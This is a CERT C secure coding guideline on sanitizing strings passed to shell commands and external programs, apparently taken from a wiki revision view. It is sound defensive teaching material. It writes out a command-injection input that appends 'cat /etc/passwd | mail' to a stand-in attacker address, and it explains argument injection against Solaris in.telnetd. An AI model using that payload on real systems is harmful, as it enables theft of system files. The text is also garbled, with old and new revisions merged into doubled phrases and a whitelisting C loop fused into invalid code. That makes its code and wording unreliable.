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String data passed to complex subsystems may contain special characters that can trigger commands or actions, resulting in a software vulnerability. As a result, it is necessary to sanitize all string data passed to complex subsystems so that the resulting string is innocuous in the context in which it will be interpreted.

Complex subsystems include, but are not limited to:

These are some examples of complex subsystems:

• Command command processor via a call to system() or similar function
• external programs
• relational databases
• (also addressed in ENV03-C. Sanitize the environment when invoking external programs)
• External programs
• Relational databases
• Third-party commercial off-the-shelf components (for examplethird-party COTS components (e.g., an enterprise resource planning subsystem)

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Noncompliant Code Example

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Data sanitization requires an understanding of the data being passed and the capabilities of the subsystem. John Viega and Matt Messier provide an example of an application that inputs an email address into to a buffer and then uses this string as an argument in a call to {{system()}} \ [Viega 03\2003]:

Code Block
bgColor #FFCCCC lang c
sprintf(buffer, "/bin/mail %s < /tmp/email", addr); system(buffer);

The risk is, of course, is that the user enters the following string as an email address:

Code Block
bogus@addr.com; cat /etc/passwd | mail some@badguy.net

For more information on the system() call, see ENV03-C. Sanitize the environment when invoking external programs and ENV33-C. Do not call system().

Compliant

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Solution

It is necessary to ensure that all valid data is accepted, while potentially dangerous data is rejected or sanitized. This Doing so can be difficult when valid characters or sequences of characters also have special meaning to the subsystem and may involve validating the data against a grammar. In cases where there is no overlap, white listing whitelisting can be used to eliminate dangerous characters from the data.

The white listing whitelisting approach to data sanitization is to define a list of acceptable characters and remove any character that is not acceptable. The list of valid input values is typically a predictable, well-defined set of manageable size. This examplecompliant solution, based on the tcp_wrappers package written by Wietse Venema, illustrates shows the white listing whitelisting approach.:

static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz\"
                           "ABCDEFGHIJKLMNOPQRSTUVWXYZ\"
                           "1234567890_-.@";
char user_data[] = "Bad char 1:} Bad char 2:{";
char *cp = user_data; /* cursorCursor into string */
for (cpconst char *end = user_data + strlen( user_data);
for *(cp += strspn(cp, ok_chars)); ); cp != end; cp += strspn(cp, ok_chars)) {
  *cp = '_';
}

The benefit of white listing whitelisting is that a programmer can be certain that a string contains only characters that are considered safe by the programmer. White listing Whitelisting is recommended over black listingblacklisting, which traps all unacceptable characters, as because the programmer needs only needs to ensure that acceptable characters are identified. As a result, the programmer can be less concerned about which characters an attacker may try in an attempt to bypass security checks.

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Noncompliant Code Example

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This non-compliant noncompliant code example is take from \[[VU#881872|http://www.kb.cert.org/vulnotes/id/881872]\], which a vulnerability in the Sun Solaris telnet daemon ({{in.telnetd}}) that allows a remote attacker to log on to the system with elevated privileges. taken from [VU#881872], a vulnerability in the Sun Solaris TELNET daemon (in.telnetd) that allows a remote attacker to log on to the system with elevated privileges.

The vulnerability in in.telnetd involves the following line of code invokes the login program by calling execl(). This call passes unsanitized data from an untrusted source (the USER environment variable) as an argument to the login program. :

Code Block
bgColor #FFCCCC lang c
(void) execl(LOGIN_PROGRAM, "login", "-p", "-d", slavename, "-h", host, "-s", pam_svc_name, (AuthenticatingUser != NULL ? AuthenticatingUser : getenv("USER")), 0);

An attacker, in this case, an attacker can gain unauthenticated access to a system by setting the USER environment variable to a string, which is interpreted as an additional command-line option by the login program. This kind of attack is called argument injection.

Compliant Solution

The following This compliant solution inserts the "--" (double dash) argument before the call to getenv("USER") in the call to execlsexecl():

(void) execl(LOGIN_PROGRAM, "login",
  "-p",
  "-d", slavename,
  "-h", host,
  "-s", pam_svc_name,
  "--",
  (AuthenticatingUser != NULL ? AuthenticatingUser :
  getenv("USER")), 0);

Because the login program uses the POSIX getopt() function to parse command-line arguments, and because the "--" (double dash) option causes getopt() to stop interpreting options in the argument list, the USER variable cannot be used by an attacker to inject an additional command-line option. This is a valid means of sanitizing the untrusted user data in this context because the behavior of the interpretation of the resulting string is rendered innocuous.

The diff for this vulnerability is available from the CVS repository at OpenSolaris.call to execl() is not susceptible to command injection because the shell command interpreter is not invoked. (See ENV33-C. Do not call system().)

Risk Assessment

Failure to sanitize data passed to a complex subsystem can lead to an injection attack, data integrity issues, and a loss of sensitive data.

References

Automated Detection

Related Vulnerabilities

Search for vulnerabilities resulting from the violation of this rule on the CERT website.

Related Guidelines

Bibliography

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Image Added Image Added Image Added Wiki Markup\[[Viega 03|AA. C References#Viega 03]\] \[[ISO/IEC 9899-1999|AA. C References#ISO/IEC 9899-1999]\] Section 7.20.4.6, "The system function" \[[VU#881872|http://www.kb.cert.org/vulnotes/id/881872]\] Manion, Art & Taschner, Chris. Vulnerability Note VU#881872 Sun Solaris telnet authentication bypass vulnerability. http://www.kb.cert.org/vulnotes/id/881872 (2007). [Related vulnerabilities|https://www.kb.cert.org/vulnotes/bymetric?searchview&query=FIELD+keywords+contains+STR02-A&SearchOrder=4&SearchMax=0]